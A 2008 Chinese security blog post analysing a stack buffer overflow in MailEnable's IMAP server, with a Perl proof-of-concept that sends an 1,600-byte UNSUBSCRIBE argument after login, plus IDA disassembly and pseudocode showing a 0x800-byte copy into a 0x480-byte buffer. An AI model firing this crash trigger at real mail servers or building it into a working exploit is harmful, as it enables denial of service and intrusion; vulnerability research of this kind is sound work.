2008年3月19日星期三

[Tips]MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出

by 云舒
2008-03-13
http://www.ph4nt0m.org

今天看了下MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出问题。有点麻烦,看了快两天才弄清楚,希望没看错。主要是用IDA反汇编,然后结合OD一起看的。先用perl写了个脚本测试,代码很简单:

#!/use/bin/perl

use strict;
use warnings;
use IO::Socket;

if@ARGV != 3 )
{
    
print "imail_subscribe.pl  <host>   <username>   <password>\n";
    
exit-1 );
}

my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];

my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error.\n";

my $res = <$sock>;
print $res;
if$res !~ /OK/ )
{
    
exit-1 );
}

# login
print $sock "0 LOGIN $user $pass\r\n";
$res = <$sock>;
if! defined($res) )
{
    
exit(-1);
}

print $res;
if$res !~ /OK/ )
{
    
exit(-1);
}

# select
print $sock "2 SELECT INBOX\r\n";
while<$sock> )
{
    
print $_;
    
if$_ =~ /2 OK/ || $_ =~ /2 BAD/ )
    {
        
last;
    }
}

my $test_code = "AB" x 800;
print $sock "3 UNSUBSCRIBE $test_code\r\n";

$res = <$sock>;
if! defined($res) )
{
    
exit(-1);
}
print $res;

#exit
print $sock "4 LOGOUT\r\n";
print <$sock>;

$sock->close(); 



第一个断点下在0x00424631这里。至于为什么,理由很简单,这里是在判断命令,而且恰好是开始判断UNSUBSCRIBE命令,我们从头开始走下去,看看到底出了什么问题。开始是一个字符串比较,随后一个拷贝,走到下面出现异常。

.text:00424662                 add     esp, 8
.text:
00424665                 mov     eax, [ebp+arg_0]
.text:
00424668                 push    eax
.text:
00424669                 call    sub_419E90 


第二次跟进sub_419E90,一开始,就分配了栈内存,
.text:00419E93                 sub     esp, 588h 


随后调用sub_412430是判断状态,当前是否可以执行UNSUBSCRIBE命令。判断完成后我们会跳到下面这里,查找空格解析命令和参数。
.text:00419F00                 push    offset asc_488DF8 ; " "
.text:00419F05                 mov     edx, [ebp
+arg_0]
.text:00419F08                 add     edx, 1BACh
.text:00419F0E                 push    edx             ; 
char *
.text:00419F0F                 call    _strstr         ; 查找空格 


参数解析完成后,再次转跳到下面的位置,注意这里会进行拷贝,将传入的参数拷贝到栈内存中。
.text:00419F7C                 push    800h            ; int
.text:00419F81                 mov     eax, [ebp
+var_584]
.text:00419F87                 add     eax, 
1
.text:00419F8A                 push    eax             ; 
char *
.text:00419F8B                 lea     ecx, [ebp
+var_480]
.text:00419F91                 push    ecx             ; 
char *
.text:00419F92                 call    sub_43B100      ; 安全拷贝 


跟进sub_43B100子函数,代码如下:
.text:0043B100                 push    ebp
.text:0043B101                 mov     ebp, esp
.text:0043B103                 push    ecx
.text:0043B104                 mov     eax, [ebp
+arg_4]
.text:0043B107                 push    eax             ; 
char *
.text:0043B108                 call    _strlen
.text:0043B108
.text:0043B10D                 add     esp, 
4
.text:0043B110                 mov     [ebp
+var_4], eax
.text:0043B113                 mov     ecx, [ebp
+var_4]
.text:0043B116                 cmp     ecx, [ebp
+arg_8]
.text:0043B119                 jge     
short loc_43B12D
.text:0043B119
.text:0043B11B                 mov     edx, [ebp
+arg_4]
.text:0043B11E                 push    edx             ; 
char *
.text:0043B11F                 mov     eax, [ebp
+arg_0]
.text:0043B122                 push    eax             ; 
char *
.text:0043B123                 call    _strcpy
.text:0043B123
.text:0043B128                 add     esp, 
8
.text:0043B12B                 jmp     
short loc_43B150
.text:0043B12B
.text:0043B12D  
---------------------------------------------------------------------------
.text:0043B12D
.text:0043B12D loc_43B12D:       ; CODE XREF: sub_43B100
+19
.text:0043B12D                 mov     ecx, [ebp
+arg_8]
.text:0043B130                 sub     ecx, 
1
.text:0043B133                 push    ecx             ; size_t
.text:0043B134                 mov     edx, [ebp
+arg_4]
.text:0043B137                 push    edx             ; 
char *
.text:0043B138                 mov     eax, [ebp
+arg_0]
.text:0043B13B                 push    eax             ; 
char *
.text:0043B13C                 call    _strncpy
.text:0043B13C
.text:0043B141                 add     esp, 0Ch
.text:0043B144                 mov     ecx, [ebp
+arg_0]
.text:0043B147                 add     ecx, [ebp
+arg_8]
.text:0043B14A                 mov     
byte ptr [ecx-1], 0
.text:0043B14E                 xor     eax, eax
.text:0043B14E
.text:0043B150
.text:0043B150 loc_43B150:              ; CODE XREF: sub_43B100
+2B
.text:0043B150                 mov     esp, ebp
.text:0043B152                 pop     ebp
.text:0043B153                 retn    0Ch 


可以看到,这里先判断源字符串的长度是否大于0x800,如果大于就调用strncpy拷贝0x800-1个字节。如果小于,就调用strcpy拷贝所有的字符串。但是搞笑的是,在sub_43B100的父函数中分配的内存是0x588,而调用sub_43B100的时候,传递的最大长度是0x800。伪代码如下:

void my_strcpy( char *dst, char *src, int len )
{
    
if( strlen( src ) >= len )
    {
        strncpy( dst, src, len 
- 1 );
    }
    
else
    {
        strcpy( dst, src );
    }
}

void vuln( char *src, .. .. )
{
    
char dst[0x480= { 0 };
    
    my_strcpy( dst, src, 
0x800 );
    
    .. .. .. 


这里的长度有限制,覆盖不到SEH。虽然可以覆盖到vuln的返回地址,但是在vuln返回之前就异常了,在一次strlen调用中,eax被字符串覆盖改写导致读取异常。小心的调整字符串,应该是可以顺利执行下去最后执行shellcode的,不过我没那耐心,也没那时间。

没有评论: